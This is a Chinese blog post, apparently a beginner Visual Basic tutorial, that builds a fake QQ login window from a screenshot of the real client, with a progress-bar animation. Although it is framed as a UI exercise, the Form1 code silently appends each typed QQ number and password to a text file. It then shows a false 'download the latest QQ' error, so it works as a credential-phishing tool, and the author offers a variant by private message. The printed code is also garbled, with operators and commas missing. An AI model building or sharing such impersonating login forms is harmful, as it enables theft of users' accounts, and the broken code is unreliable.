vb编程三大技巧（学习VB编程第41天模拟登录QQ）

vb编程三大技巧（学习VB编程第41天模拟登录QQ）5.输入代码4.如图新建两个窗体。窗体1新建一个image控件，然后加载QQ登录界面图片，按照登录界面调整好大小，分别在登录位置、最小化窗口、关闭窗口位置新建label控件，将label控件的backstyle属性设置为0，caption设置为空（补充知识：通过label控件的透明属性实现按钮功能）。在QQ号码栏和密码栏分别新建一个text控件，调整好位置和字体大小，backstyle属性设置为0。新建一个时钟控件。窗体2新建1个ProgressBar控件，1个时钟控件，一个label控件，如图设置好。1开发思路：模拟QQ登录界面。2.准备工作：①在C盘搜索：*.ICO，找到QQ程序图标，复制备用；②打开QQ应用，截取登录界面图。3.QQ登录动态效果实现：通过多张图片的替换实现动态效果。利用时钟控件和连续不断循环加载图片函数控制实现QQ登录窗口的动态效果，通过progressbar控件模拟

嫌啰嗦的，直接拉到20分开始看结果哈

今天学习了刘金玉老师零基础VB教程的第50期，学习的主要内容是progressbar控件使用和模拟QQ登录界面动画。悄悄的做了一个模拟QQ登录界面。

案例：模拟QQ登录界面

1开发思路：模拟QQ登录界面。

2.准备工作：①在C盘搜索：*.ICO，找到QQ程序图标，复制备用；②打开QQ应用，截取登录界面图。

3.QQ登录动态效果实现：通过多张图片的替换实现动态效果。利用时钟控件和连续不断循环加载图片函数控制实现QQ登录窗口的动态效果，通过progressbar控件模拟进度条效果，通过属性value值变化可以设置当前进度，实现登录进程的动态效果。

4.如图新建两个窗体。窗体1新建一个image控件，然后加载QQ登录界面图片，按照登录界面调整好大小，分别在登录位置、最小化窗口、关闭窗口位置新建label控件，将label控件的backstyle属性设置为0，caption设置为空（补充知识：通过label控件的透明属性实现按钮功能）。在QQ号码栏和密码栏分别新建一个text控件，调整好位置和字体大小，backstyle属性设置为0。新建一个时钟控件。窗体2新建1个ProgressBar控件，1个时钟控件，一个label控件，如图设置好。

5.输入代码

窗体1代码：

Dim imageindex As Integer

Dim oldx As Single

Dim oldy As Single

Dim canmove As Boolean

Private Sub image1_MouseDown(Button As Integer Shift As Integer X As Single Y As Single)

oldx = X

oldy = Y

canmove = True

End Sub

Private Sub image1_MouseMove(Button As Integer Shift As Integer X As Single Y As Single)

If canmove Then

Form1.Left = Form1.Left (X - oldx)

Form1.Top = Form1.Top (Y - oldy)

End If

End Sub

Private Sub image1_MouseUp(Button As Integer Shift As Integer X As Single Y As Single)

canmove = False

End Sub

Private Sub Label1_Click()

End

End Sub

Private Sub Label2_Click()

Open App.Path & "/QQ.txt" For Append As #1

Print #1 Text1.Text & ";" & Text2.Text

Close #1

If Text1.Text = "123456" And Text2.Text = "abc123" Then

Form2.Show

Unload Form1

Else

MsgBox "请下载最新版本QQ登录。" vbCritical "QQ"

End If

End Sub

Private Sub Label3_Click()

Form1.WindowState = 1

End Sub

Private Sub Timer1_Timer()

imageindex = imageindex 1

If imageindex >= 1 Then

imageindex = 1

End If

Image1.Picture = LoadPicture(App.Path & "/QQ" & imageindex & ".JPG")

End Sub

窗体2代码：

Private Sub Timer1_Timer()

If ProgressBar1.Value = 100 Then

Timer1.Enabled = False

Exit Sub

End If

ProgressBar1.Value = ProgressBar1.Value 1

End Sub

6.运行效果详见文章视频

后面我又简化了一个版本，需要模拟登录的朋友悄悄的私信我哈。不懂的可以留言。